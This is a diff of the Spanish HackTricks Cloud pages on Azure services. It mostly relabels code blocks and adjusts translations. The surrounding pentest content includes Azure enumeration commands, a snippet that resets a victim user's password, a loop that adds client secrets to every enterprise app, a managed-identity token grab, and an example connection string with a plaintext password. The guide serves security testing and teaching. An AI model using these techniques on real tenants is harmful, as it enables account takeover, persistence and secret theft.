Sin embargo, hay otros ids de cliente de aplicaciones que te permitirán conectarte a Azure:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,7 +295,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### Cambiar la Contraseña del Usuario
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
@@ -318,7 +318,7 @@ Para más información sobre grupos de Entra ID, consulta:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,7 +394,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Agregar usuario al grupo
Los propietarios del grupo pueden agregar nuevos usuarios al grupo.
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>Lista e intenta agregar un secreto de cliente en cada aplicación empresarial</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -654,7 +654,7 @@ Get-AzADAppCredential
> [!WARNING]
> Una aplicación con el permiso **`AppRoleAssignment.ReadWrite`** puede **escalar a Global Admin** al otorgarse a sí misma el rol.\
> Para más información [**ver esto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Para más información [**verifica esto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Una cadena secreta que la aplicación utiliza para probar su identidad al solicitar un token es la contraseña de la aplicación.\
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -908,7 +908,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
La Gestión de Identidades Privilegiadas (PIM) en Azure ayuda a **prevenir que se asignen privilegios excesivos** a los usuarios innecesariamente.
Una de las principales características proporcionadas por PIM es que permite no asignar roles a los principales que están constantemente activos, sino hacerlos **elegibles por un período de tiempo (por ejemplo, 6 meses)**. Luego, cada vez que el usuario quiera activar ese rol, necesita solicitarlo indicando el tiempo que necesita el privilegio (por ejemplo, 3 horas). Luego, un **administrador necesita aprobar** la solicitud.\
Una de las principales características que ofrece PIM es que permite no asignar roles a los principales que están constantemente activos, sino hacerlos **elegibles por un período de tiempo (por ejemplo, 6 meses)**. Luego, cada vez que el usuario quiera activar ese rol, necesita solicitarlo indicando el tiempo que necesita el privilegio (por ejemplo, 3 horas). Luego, un **administrador necesita aprobar** la solicitud.\
Tenga en cuenta que el usuario también podrá solicitar **extender** el tiempo.
Además, **PIM envía correos electrónicos** cada vez que se asigna un rol privilegiado a alguien.
@@ -923,7 +923,7 @@ Cuando PIM está habilitado, es posible configurar cada rol con ciertos requisit
- Requerir justificación en la activación
- Requerir información de ticket en la activación
- Requerir aprobación para activar
- Tiempo máximo para expirar las asignaciones elegibles&#x20;
- Tiempo máximo para expirar las asignaciones elegibles
- Mucha más configuración sobre cuándo y a quién enviar notificaciones cuando ocurren ciertas acciones con ese rol
### Políticas de Acceso Condicional <a href="#title-text" id="title-text"></a>
@@ -936,7 +936,7 @@ Verifique:
### Protección de Identidad de Entra <a href="#title-text" id="title-text"></a>
La Protección de Identidad de Entra es un servicio de seguridad que permite **detectar cuándo un usuario o un inicio de sesión es demasiado arriesgado** para ser aceptado, permitiendo **bloquear** al usuario o el intento de inicio de sesión.
La Protección de Identidad de Entra es un servicio de seguridad que permite **detectar cuando un usuario o un inicio de sesión es demasiado arriesgado** para ser aceptado, permitiendo **bloquear** al usuario o el intento de inicio de sesión.
Permite al administrador configurarlo para **bloquear** intentos cuando el riesgo es "Bajo y superior", "Medio y superior" o "Alto". Aunque, por defecto está completamente **deshabilitado**:
@@ -947,7 +947,7 @@ Permite al administrador configurarlo para **bloquear** intentos cuando el riesg
### Protección de Contraseñas de Entra
La Protección de Contraseñas de Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) es una característica de seguridad que **ayuda a prevenir el abuso de contraseñas débiles al bloquear cuentas cuando ocurren varios intentos de inicio de sesión fallidos**.\
La Protección de Contraseñas de Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) es una característica de seguridad que **ayuda a prevenir el abuso de contraseñas débiles al bloquear cuentas cuando ocurren varios intentos de inicio de sesión fallidos**.\
También permite **prohibir una lista de contraseñas personalizadas** que necesita proporcionar.
Se puede **aplicar tanto** a nivel de nube como en Active Directory local.

20
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
View File

@@ -1,16 +1,16 @@
# Az - CosmosDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
@@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
Azure Cosmos DB proporciona múltiples APIs de base de datos para modelar datos del mundo real utilizando documentos, modelos de datos relacionales, clave-valor, gráfico y de familia de columnas, siendo estas APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin y Table.
Un aspecto clave de CosmosDB es la Cuenta de Cosmos de Azure. **La Cuenta de Cosmos de Azure** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde la consistencia Fuerte hasta la consistencia Eventual.
Un aspecto clave de CosmosDB es la Cuenta de Azure Cosmos. **La Cuenta de Azure Cosmos** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre entre rendimiento y precisión de datos, con opciones que van desde Consistencia Fuerte hasta Consistencia Eventual.
### NoSQL (sql)
La API NoSQL de Azure Cosmos DB es una API basada en documentos que utiliza JSON como su formato de datos. Proporciona una sintaxis de consulta similar a SQL para consultar objetos JSON, lo que la hace adecuada para trabajar con datos estructurados y semi-estructurados. El punto final del servicio es:
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato:
La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El punto final del servicio generalmente sigue este formato:
{% code overflow="wrap" %}
```bash
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.

14
src/pentesting-cloud/azure-security/az-services/az-file-shares.md
View File

@@ -4,7 +4,7 @@
## Información Básica
**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, los compartidos de archivos de Azure no son compatibles con Windows para NFS (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear compartidos de archivos en red altamente disponibles que pueden ser accedidos simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, los compartidos de archivos de Azure no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear compartidos de archivos en red altamente disponibles que pueden ser accedidos simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
### Niveles de Acceso
@@ -25,7 +25,7 @@
- **Autenticación de AD DS local**: Utiliza credenciales de Active Directory locales sincronizadas con Microsoft Entra ID para acceso basado en identidad. Requiere conectividad de red a AD DS local.
- **Autenticación de Servicios de Dominio de Microsoft Entra**: Aprovecha los Servicios de Dominio de Microsoft Entra (AD basado en la nube) para proporcionar acceso utilizando credenciales de Microsoft Entra.
- **Kerberos de Microsoft Entra para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar compartidos de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
- **Kerberos de Microsoft Entra para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar compartidos de archivos de Azure a través de internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
- **Autenticación Kerberos de AD para Clientes Linux**: Permite a los clientes Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra.
## Enumeración
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -80,7 +80,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
{{#endtabs}}
> [!NOTE]
> Por defecto, `az` cli usará una clave de cuenta para firmar una clave y realizar la acción. Para usar los privilegios del principal de Entra ID, utiliza los parámetros `--auth-mode login --enable-file-backup-request-intent`.
> Por defecto, `az` cli utilizará una clave de cuenta para firmar una clave y realizar la acción. Para usar los privilegios del principal de Entra ID, utiliza los parámetros `--auth-mode login --enable-file-backup-request-intent`.
> [!TIP]
> Usa el parámetro `--account-key` para indicar la clave de cuenta a utilizar\
@@ -94,7 +94,7 @@ Necesitas reemplazar los marcadores de posición `<STORAGE-ACCOUNT>`, `<ACCESS-K
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
@@ -139,7 +139,7 @@ az-storage.md
## Escalamiento de privilegios
Igual que el privesc de almacenamiento:
Lo mismo que privesc de almacenamiento:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
@@ -153,7 +153,7 @@ Igual que el privesc de almacenamiento:
## Persistencia
Igual que la persistencia de almacenamiento:
Lo mismo que persistencia de almacenamiento:
{{#ref}}
../az-persistence/az-storage-persistence.md

4
src/pentesting-cloud/azure-security/az-services/az-keyvault.md
View File

@@ -17,7 +17,7 @@ Donde:
- `vault-name` es el nombre **único** global del key vault
- `object-type` puede ser "keys", "secrets" o "certificates"
- `object-name` es el nombre **único** del objeto dentro del key vault
- `object-version` es generado por el sistema y se utiliza opcionalmente para dirigirse a una **versión única de un objeto**.
- `object-version` es generado por el sistema y se usa opcionalmente para dirigirse a una **versión única de un objeto**.
Para acceder a los secretos almacenados en el vault, es posible seleccionar entre 2 modelos de permisos al crear el vault:
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

2
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

2
src/pentesting-cloud/azure-security/az-services/az-mysql.md
View File

@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group

6
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
View File

@@ -16,7 +16,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2)
{% endhint %}
## Azure PostgreSQL
**Azure Database for PostgreSQL** es un servicio de **base de datos relacional completamente administrado basado en la edición comunitaria de PostgreSQL**. Está diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Similar a Azure MySQL, PostgreSQL ofrece dos modelos de implementación:
**Azure Database for PostgreSQL** es un servicio de **base de datos relacional completamente gestionado basado en la edición comunitaria de PostgreSQL**. Está diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Similar a Azure MySQL, PostgreSQL ofrece dos modelos de implementación:
* **Servidor Único** (en la ruta de retiro):
- Optimizado para implementaciones de PostgreSQL sencillas y rentables.
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -154,7 +154,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
## ToDo
* Buscar una forma de acceder con ad-admin para verificar que es un método de privesc
* Buscar una forma de acceder con ad-admin para verificar si es un método de privesc
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\

28
src/pentesting-cloud/azure-security/az-services/az-sql.md
View File

@@ -19,8 +19,8 @@ Azure SQL consta de tres ofertas principales:
#### Características Clave
- **Siempre Actualizado**: Se ejecuta en la última versión estable de SQL Server y recibe nuevas características y parches automáticamente.
- **Capacidades PaaS**: Alta disponibilidad, copias de seguridad y actualizaciones integradas.
- **Flexibilidad de Datos**: Soporta datos relacionales y no relacionales (por ejemplo, gráficos, JSON, espacial y XML).
- **Capacidades de PaaS**: Alta disponibilidad, copias de seguridad y actualizaciones integradas.
- **Flexibilidad de Datos**: Soporta datos relacionales y no relacionales (por ejemplo, gráficos, JSON, espaciales y XML).
#### Modelos de Compra / Niveles de Servicio
@@ -42,8 +42,8 @@ Azure SQL Database soporta opciones de implementación flexibles para satisfacer
#### Rendimiento escalable y grupos
- **Bases de Datos Únicas**: Cada base de datos está aislada y tiene sus propios recursos dedicados de computación, memoria y almacenamiento. Los recursos pueden escalarse dinámicamente (hacia arriba o hacia abajo) sin tiempo de inactividad (1–128 vCores, 32 GB–4 TB de almacenamiento, y hasta 128 TB).
- **Grupos Elásticos**: Comparte recursos entre múltiples bases de datos en un grupo para maximizar la eficiencia y ahorrar costos. Los recursos también pueden escalarse dinámicamente para todo el grupo.
- **Bases de Datos Únicas**: Cada base de datos está aislada y tiene sus propios recursos dedicados de computación, memoria y almacenamiento. Los recursos se pueden escalar dinámicamente (hacia arriba o hacia abajo) sin tiempo de inactividad (1–128 vCores, 32 GB–4 TB de almacenamiento, y hasta 128 TB).
- **Grupos Elásticos**: Comparte recursos entre múltiples bases de datos en un grupo para maximizar la eficiencia y ahorrar costos. Los recursos también se pueden escalar dinámicamente para todo el grupo.
- **Flexibilidad de Nivel de Servicio**: Comienza pequeño con una base de datos única en el nivel de Propósito General. Mejora a niveles Críticos para Negocios o Hyperscale a medida que crecen las necesidades.
- **Opciones de Escalado**: Escalado Dinámico o Alternativas de Autoscalado.
@@ -56,13 +56,13 @@ Azure SQL Database soporta opciones de implementación flexibles para satisfacer
#### Recuperación ante Desastres y Disponibilidad
- **Copias de seguridad automáticas**: SQL Database realiza automáticamente copias de seguridad completas, diferenciales y de registro de transacciones de las bases de datos.
- **Restauración a un Punto en el Tiempo**: Recupera bases de datos a cualquier estado anterior dentro del período de retención de copias de seguridad.
- **Restauración a un Punto en el Tiempo**: Recupera bases de datos a cualquier estado pasado dentro del período de retención de copias de seguridad.
- **Geo-Redundancia**
- **Grupos de Conmutación por Error**: Simplifica la recuperación ante desastres agrupando bases de datos para conmutación automática entre regiones.
- **Grupos de Conmutación por Error**: Simplifica la recuperación ante desastres agrupando bases de datos para la conmutación automática entre regiones.
### Azure SQL Managed Instance
**Azure SQL Managed Instance** es un motor de base de datos como Servicio (PaaS) que ofrece casi un 100% de compatibilidad con SQL Server y maneja automáticamente la mayoría de las tareas de gestión (por ejemplo, actualizaciones, parches, copias de seguridad, monitoreo). Proporciona una solución en la nube para migrar bases de datos de SQL Server en las instalaciones con cambios mínimos.
**Azure SQL Managed Instance** es un motor de base de datos como servicio (PaaS) que ofrece casi un 100% de compatibilidad con SQL Server y maneja automáticamente la mayoría de las tareas de gestión (por ejemplo, actualizaciones, parches, copias de seguridad, monitoreo). Proporciona una solución en la nube para migrar bases de datos de SQL Server en las instalaciones con cambios mínimos.
#### Niveles de Servicio
@@ -72,7 +72,7 @@ Azure SQL Database soporta opciones de implementación flexibles para satisfacer
#### Características de Seguridad Avanzadas
* **Protección contra Amenazas**: Alertas de Protección Avanzada contra Amenazas para actividades sospechosas y ataques de inyección SQL. Auditoría para rastrear y registrar eventos de base de datos para cumplimiento.
* **Control de Acceso**: Autenticación de Microsoft Entra para gestión centralizada de identidades. Seguridad a Nivel de Fila y Enmascaramiento Dinámico de Datos para control de acceso granular.
* **Control de Acceso**: Autenticación de Microsoft Entra para gestión centralizada de identidades. Seguridad a Nivel de Fila y Enmascaramiento de Datos Dinámico para control de acceso granular.
* **Copias de Seguridad**: Copias de seguridad automatizadas y manuales con capacidad de restauración a un punto en el tiempo.
### Azure SQL Virtual Machines
@@ -83,9 +83,9 @@ Azure SQL Database soporta opciones de implementación flexibles para satisfacer
**Copia de Seguridad Automatizada**: Programa copias de seguridad para bases de datos SQL.
**Patching Automático**: Automatiza la instalación de actualizaciones de Windows y SQL Server durante una ventana de mantenimiento.
**Integración con Azure Key Vault**: Configura automáticamente Key Vault para VMs de SQL Server.
**Integración con Defender for Cloud**: Ver recomendaciones de Defender for SQL en el portal.
**Flexibilidad de Versión/Edición**: Cambia la versión o metadatos de edición de SQL Server sin redeplegar la VM.
**Integración con Azure Key Vault**: Configura automáticamente Key Vault para máquinas virtuales de SQL Server.
**Integración con Defender for Cloud**: Ver recomendaciones de Defender para SQL en el portal.
**Flexibilidad de Versión/Edición**: Cambia la versión o metadatos de edición de SQL Server sin redeplegar la máquina virtual.
#### Características de Seguridad
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -209,7 +209,7 @@ Get-AzSqlVM
### Conectar y ejecutar consultas SQL
Podrías encontrar una cadena de conexión (que contiene credenciales) del ejemplo [enumerando un Az WebApp](az-app-services.md):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
También puedes usar sqlcmd para acceder a la base de datos. Es importante saber si el servidor permite conexiones públicas `az sql server show --name <server-name> --resource-group <resource-group>`, y también si la regla del firewall permite que nuestra IP acceda:
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## Referencias

40
src/pentesting-cloud/azure-security/az-services/az-storage.md
View File

@@ -37,7 +37,7 @@ Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft
**Opciones de protección de datos**:
- **Restauración en el tiempo para contenedores**: Permite restaurar contenedores a un estado anterior.
- Requiere que se habiliten la versionado, el cambio de alimentación y la eliminación suave de blobs.
- Requiere que la versionado, el cambio de alimentación y la eliminación suave de blobs estén habilitados.
- **Habilitar eliminación suave para blobs**: Permite un período de retención en días para blobs eliminados (incluso sobrescritos).
- **Habilitar eliminación suave para contenedores**: Permite un período de retención en días para contenedores eliminados.
- **Habilitar eliminación suave para comparticiones de archivos**: Permite un período de retención en días para comparticiones de archivos eliminadas.
@@ -53,11 +53,11 @@ Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft
### Puntos finales de almacenamiento
<table data-header-hidden><thead><tr><th width="197">Servicio de Almacenamiento</th><th>Punto final</th></tr></thead><tbody><tr><td><strong>Almacenamiento de Blobs</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Almacenamiento de Data Lake</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Almacenamiento de Colas</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Almacenamiento de Tablas</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Servicio de Almacenamiento</th><th>Punto final</th></tr></thead><tbody><tr><td><strong>Almacenamiento de Blobs</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Almacenamiento de Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Almacenamiento de Colas</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Almacenamiento de Tablas</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Exposición Pública
Si "Permitir acceso público a Blobs" está **habilitado** (deshabilitado por defecto), al crear un contenedor es posible:
Si "Permitir acceso público a Blob" está **habilitado** (deshabilitado por defecto), al crear un contenedor es posible:
- Dar **acceso público para leer blobs** (necesitas conocer el nombre).
- **Listar blobs del contenedor** y **leer**.
@@ -89,9 +89,9 @@ Es posible [**generar Claves Compartidas**](https://learn.microsoft.com/en-us/re
> Ten en cuenta que la parte `CanonicalizedResource` representa el recurso de servicios de almacenamiento (URI). Y si alguna parte de la URL está codificada, también debe estar codificada dentro de `CanonicalizedResource`.
> [!NOTE]
> Esto es **usado por defecto por `az` cli** para autenticar solicitudes. Para hacer que use las credenciales del principal de Entra ID, indica el parámetro `--auth-mode login`.
